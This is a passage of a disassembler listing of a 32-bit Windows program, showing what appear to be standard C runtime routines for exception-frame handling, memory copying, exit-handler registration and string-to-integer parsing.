		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4200EC	; RtlUnwind


loc_4160CC:				; DATA XREF: sub_4160A4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160A4	endp

; ---------------------------------------------------------------------------


loc_4160F3:				; CODE XREF: seg000:00420248j
					; seg000:00420265j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A333
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416129	proc near		; CODE XREF: sub_41A7A9+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41617D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AB30
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416129	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41617D	proc near		; DATA XREF: sub_416129+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A333
		add	esp, 20h
		pop	ebp
		retn
sub_41617D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161A2	proc near		; CODE XREF: sub_41A575+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416256
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416228
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_4694F4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_416228:				; DATA XREF: sub_4161A2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416245
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41624E
; ---------------------------------------------------------------------------


loc_416245:				; CODE XREF: sub_4161A2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41624E:				; CODE XREF: sub_4161A2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416256	proc near		; DATA XREF: sub_4161A2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416279
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162C6
; ---------------------------------------------------------------------------


loc_416279:				; CODE XREF: sub_416256+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A333
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162B7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160A4


loc_4162B7:				; CODE XREF: sub_416256+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_4162C6:				; CODE XREF: sub_416256+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416256	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162CB	proc near		; CODE XREF: sub_41A3CE+C6p
					; sub_41A575+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416322


loc_4162E9:				; CODE XREF: sub_4162CB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4162F3
		call	sub_41ABD2


loc_4162F3:				; CODE XREF: sub_4162CB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416308
		cmp	ecx, [eax+8]
		jle	short loc_41630D


loc_416308:				; CODE XREF: sub_4162CB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416319


loc_41630D:				; CODE XREF: sub_4162CB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_416319:				; CODE XREF: sub_4162CB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4162E9
		mov	eax, [ebp+var_4]


loc_416322:				; CODE XREF: sub_4162CB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416336
		cmp	esi, eax
		jbe	short loc_41633B


loc_416336:				; CODE XREF: sub_4162CB+65j
		call	sub_41ABD2


loc_41633B:				; CODE XREF: sub_4162CB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162CB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416348	proc near		; CODE XREF: sub_41CDE8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416360
		push	[ebp+arg_0]
		call	sub_4200EC	; RtlUnwind


loc_416360:				; DATA XREF: sub_416348+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416348	endp


; =============== S U B	R O U T	I N E =======================================



sub_416368	proc near		; DATA XREF: sub_41638A+Ao
					; sub_4163F2+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_416389
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_416389:				; CODE XREF: sub_416368+10j
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41638A	proc near		; CODE XREF: sub_41A84F+Dp
					; sub_41CDE8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416368
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4163A7:				; CODE XREF: sub_41638A:loc_4163E2j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4163E4
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4163E4
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4163E2
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41641E
		call	dword ptr [ebx+esi*4+8]


loc_4163E2:				; CODE XREF: sub_41638A+44j
		jmp	short loc_4163A7
; ---------------------------------------------------------------------------


loc_4163E4:				; CODE XREF: sub_41638A+2Aj
					; sub_41638A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41638A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163F2	proc near		; CODE XREF: sub_41A86F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416368
		jnz	short locret_416414
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416414
		mov	eax, 1

locret_416414:				; CODE XREF: sub_4163F2+10j
					; sub_4163F2+1Bj
		retn
sub_4163F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416415	proc near		; CODE XREF: sub_41AB30+1Ep
					; sub_41AB30+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D2C
		jmp	short loc_416428
sub_416415	endp


; =============== S U B	R O U T	I N E =======================================



sub_41641E	proc near		; CODE XREF: sub_41638A+4Fp
					; sub_41CDE8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D2C
		mov	ecx, [ebp+8]


loc_416428:				; CODE XREF: sub_416415+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41641E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416438	proc near		; CODE XREF: sub_4046AA+5p
					; sub_40484C+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416438	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416457	proc near		; CODE XREF: sub_404D21+26p
					; seg000:0041FEC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415E1D
		pop	ecx
		retn
sub_416457	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416470	proc near		; CODE XREF: sub_404D92+3Ap
					; sub_418B08+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_416490
		cmp	edi, eax
		jb	loc_416608


loc_416490:				; CODE XREF: sub_416470+16j
		test	edi, 3
		jnz	short loc_4164AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------


loc_4164AC:				; CODE XREF: sub_416470+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4164CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4164C4:				; CODE XREF: sub_416470+46j
		jmp	dword ptr ds:loc_4165C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164CC:				; CODE XREF: sub_416470+31j
					; sub_416470+8Ej ...
		jmp	ds:off_41654C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4164E0
		dd offset loc_41650C
		dd offset loc_416530
; ---------------------------------------------------------------------------


loc_4164E0:				; DATA XREF: sub_416470+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41650C:				; DATA XREF: sub_416470+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416530:				; DATA XREF: sub_416470+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41654C	dd offset loc_4165AF	; DATA XREF: sub_416470:loc_4164CCr
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
		dd offset loc_416584
		dd offset loc_41657C
		dd offset loc_416574
		dd offset loc_41656C
; ---------------------------------------------------------------------------


loc_41656C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416574:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41657C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_416584:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41658C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_416594:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41659C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165AF:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470:off_41654Co
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165B8	dd offset loc_4165C8	; DATA XREF: sub_416470+35r
					; sub_416470+92r ...
		dd offset loc_4165D0
		dd offset loc_4165DC
		dd offset loc_4165F0
; ---------------------------------------------------------------------------


loc_4165C8:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165D0:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4165DC:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165F0:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416608:				; CODE XREF: sub_416470+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41663C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416630:				; CODE XREF: sub_416470+1B1j
					; sub_416470+208j ...
		neg	ecx
		jmp	ds:off_416700[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41663C:				; CODE XREF: sub_416470+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416654
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_416654+4[eax*4]
; ---------------------------------------------------------------------------


loc_416654:				; CODE XREF: sub_416470+1D6j
					; DATA XREF: sub_416470+1DDr
		jmp	ds:off_416750[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416667+1
		dd offset loc_416688
; ---------------------------------------------------------------------------
		mov	al, 66h
		inc	ecx


loc_416667:				; DATA XREF: sub_416470+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_416688:				; DATA XREF: sub_416470+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416704
		dd offset loc_41670C
		dd offset loc_416714
		dd offset loc_41671C
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
off_416700	dd offset loc_416747	; DATA XREF: sub_416470+1C2r
; ---------------------------------------------------------------------------


loc_416704:				; DATA XREF: sub_416470+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41670C:				; DATA XREF: sub_416470+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_416714:				; DATA XREF: sub_416470+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41671C:				; DATA XREF: sub_416470+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_416724:				; DATA XREF: sub_416470+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41672C:				; DATA XREF: sub_416470+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_416734:				; DATA XREF: sub_416470+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_416747:				; CODE XREF: sub_416470+1C2j
					; DATA XREF: sub_416470:off_416700o
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416750	dd offset loc_416760	; DATA XREF: sub_416470+1B7r
					; sub_416470:loc_416654r ...
		dd offset loc_416768
		dd offset loc_416778
		dd offset loc_41678C
; ---------------------------------------------------------------------------


loc_416760:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416768:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416778:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41678C:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416470	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167A5	proc near		; CODE XREF: sub_404DF9+34p
					; sub_404DF9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415DBB
		pop	ecx
		pop	ecx
		retn
sub_4167A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167B3	proc near		; CODE XREF: sub_416820+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_46AAF4
		call	sub_41AC28
		mov	edx, ds:dword_46AAF4
		pop	ecx
		mov	ecx, ds:dword_46AAF0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416812
		push	edx
		call	sub_41AC28
		add	eax, 10h
		push	eax
		push	ds:dword_46AAF4
		call	sub_4174BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4167F5
		retn
; ---------------------------------------------------------------------------


loc_4167F5:				; CODE XREF: sub_4167B3+3Fj
		mov	ecx, ds:dword_46AAF0
		sub	ecx, ds:dword_46AAF4
		mov	ds:dword_46AAF4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_46AAF0, ecx


loc_416812:				; CODE XREF: sub_4167B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_46AAF0, 4
		retn
sub_4167B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_404EE6+1Ap
					; sub_4200CE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416820	endp


; =============== S U B	R O U T	I N E =======================================



sub_416832	proc near		; DATA XREF: seg002:00423018o
		push	80h
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		mov	ds:dword_46AAF4, eax
		jnz	short loc_416853
		push	18h
		call	sub_417BCE
		mov	eax, ds:dword_46AAF4
		pop	ecx


loc_416853:				; CODE XREF: sub_416832+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_46AAF4
		mov	ds:dword_46AAF0, eax
		retn
sub_416832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416861	proc near		; CODE XREF: sub_416A69+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416879:				; CODE XREF: sub_416861+46j
		cmp	ds:dword_437F5C, 1
		jle	short loc_416891
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_4168A0
; ---------------------------------------------------------------------------


loc_416891:				; CODE XREF: sub_416861+1Fj
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4168A0:				; CODE XREF: sub_416861+2Ej
		test	eax, eax
		jz	short loc_4168A9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416879
; ---------------------------------------------------------------------------


loc_4168A9:				; CODE XREF: sub_416861+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168B7
		or	[ebp+arg_C], 2
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168B7:				; CODE XREF: sub_416861+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168C2


loc_4168BC:				; CODE XREF: sub_416861+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_4168C2:				; CODE XREF: sub_416861+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A59
		cmp	eax, 1
		jz	loc_416A59
		cmp	eax, 24h
		jg	loc_416A59
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41690A
		cmp	bl, 30h
		jz	short loc_4168F4
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_416926
; ---------------------------------------------------------------------------


loc_4168F4:				; CODE XREF: sub_416861+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416907
		cmp	al, 58h
		jz	short loc_416907
		mov	[ebp+arg_8], 8
		jmp	short loc_416926
; ---------------------------------------------------------------------------


loc_416907:				; CODE XREF: sub_416861+97j
					; sub_416861+9Bj
		mov	[ebp+arg_8], ecx


loc_41690A:				; CODE XREF: sub_416861+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_416926
		cmp	bl, 30h
		jnz	short loc_416926
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41691E
		cmp	al, 58h
		jnz	short loc_416926


loc_41691E:				; CODE XREF: sub_416861+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_416926:				; CODE XREF: sub_416861+91j
					; sub_416861+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_416936:				; CODE XREF: sub_416861+16Cj
		cmp	ds:dword_437F5C, 1
		movzx	esi, bl
		jle	short loc_41694E
		push	4
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_416959
; ---------------------------------------------------------------------------


loc_41694E:				; CODE XREF: sub_416861+DFj
		mov	eax, ds:off_437D50
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416959:				; CODE XREF: sub_416861+EBj
		test	eax, eax
		jz	short loc_416965
